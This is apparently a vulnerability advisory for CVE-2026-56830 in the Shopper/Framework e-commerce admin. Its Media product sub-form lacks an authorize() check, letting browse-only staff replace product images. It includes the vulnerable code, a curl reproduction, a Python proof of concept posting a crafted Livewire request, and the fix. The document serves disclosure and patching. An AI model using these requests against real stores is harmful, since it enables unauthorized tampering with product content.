PT-2026-90546 · Packagist · Shopper/Framework

CVE-2026-56830

·

Published

2026-09-11

·

Updated

2026-09-11

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Title

Missing authorization on Media sub-form store action allows unpermissioned product media update

Description

A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)

Affected files

  • packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76
php
// Lines 64-76 - store() with no authorize() call
public function store(): void
{
  $this->validate();

  $this->product->update($this->form->getState()); // overwrites thumbnail + gallery media

  $this->dispatch('product.updated');

  Notification::make()
    ->body( ('shopper::pages/products.notifications.media update'))
    ->success()
    ->send();
}
The five sibling components that were fixed in commit fcd0c59 each now have:
php
public function store(): void
{
  $this->authorize('edit products'); // present in Edit, Inventory, Seo, Shipping, Files
  // ...
}
Media.store() does not.

Steps to reproduce

Prerequisites: an admin-panel account whose role holds browse products but NOT edit products.
bash
SESSION="laravel session=<your session value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"

# Step 1: Load a product edit page as an admin to obtain the Media component's
#     Livewire snapshot ID and the product's public ID.
#     The component snapshot appears in the HTML source as data-livewire-snapshot.

# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#     pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update 
 -H "Content-Type: application/json" 
 -H "X-XSRF-TOKEN: $XSRF" 
 -H "Cookie: $SESSION" 
 -H "X-Livewire: 1" 
 -d '{
  "components": [{
   "snapshot": "<snapshot JSON from page source with product locked>",
   "updates": {},
   "calls": [{"path":"","method":"store","params":[]}]
  }]
 }'
# Expected: HTTP 200, product thumbnail and images updated without edit products.

Proof of concept

python
#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
 BASE URL    e.g. http://localhost
 SESSION COOKIE laravel session cookie value (browse-only staff session)
 XSRF TOKEN   URL-decoded XSRF-TOKEN cookie value
 SNAPSHOT JSON  the full Livewire snapshot JSON string for the Media component
         (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base url = os.environ['BASE URL']
session = os.environ['SESSION COOKIE']
xsrf   = os.environ['XSRF TOKEN']
snapshot = os.environ['SNAPSHOT JSON']

headers = {
  'Content-Type': 'application/json',
  'Accept': 'text/html, application/xhtml+xml',
  'X-XSRF-TOKEN': xsrf,
  'Cookie': f'laravel session={session}',
  'X-Livewire': '1',
}

payload = {
  'components': [{
    'snapshot': snapshot,
    'updates': {},
    'calls': [{'path': '', 'method': 'store', 'params': []}]
  }]
}

r = requests.post(f'{base url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status code}')
print(r.text[:500])

Impact

A staff member with only browse products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.

Suggested fix

php
// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
  $this->authorize('edit products'); // add this line

  $this->validate();

  $this->product->update($this->form->getState());

  $this->dispatch('product.updated');

  Notification::make()
    ->body( ('shopper::pages/products.notifications.media update'))
    ->success()
    ->send();
}

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Fix

Missing Authorization

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-862

Related Identifiers

CVE-2026-56830
GHSA-99H5-JHH7-V3R3

Affected Products

Shopper/Framework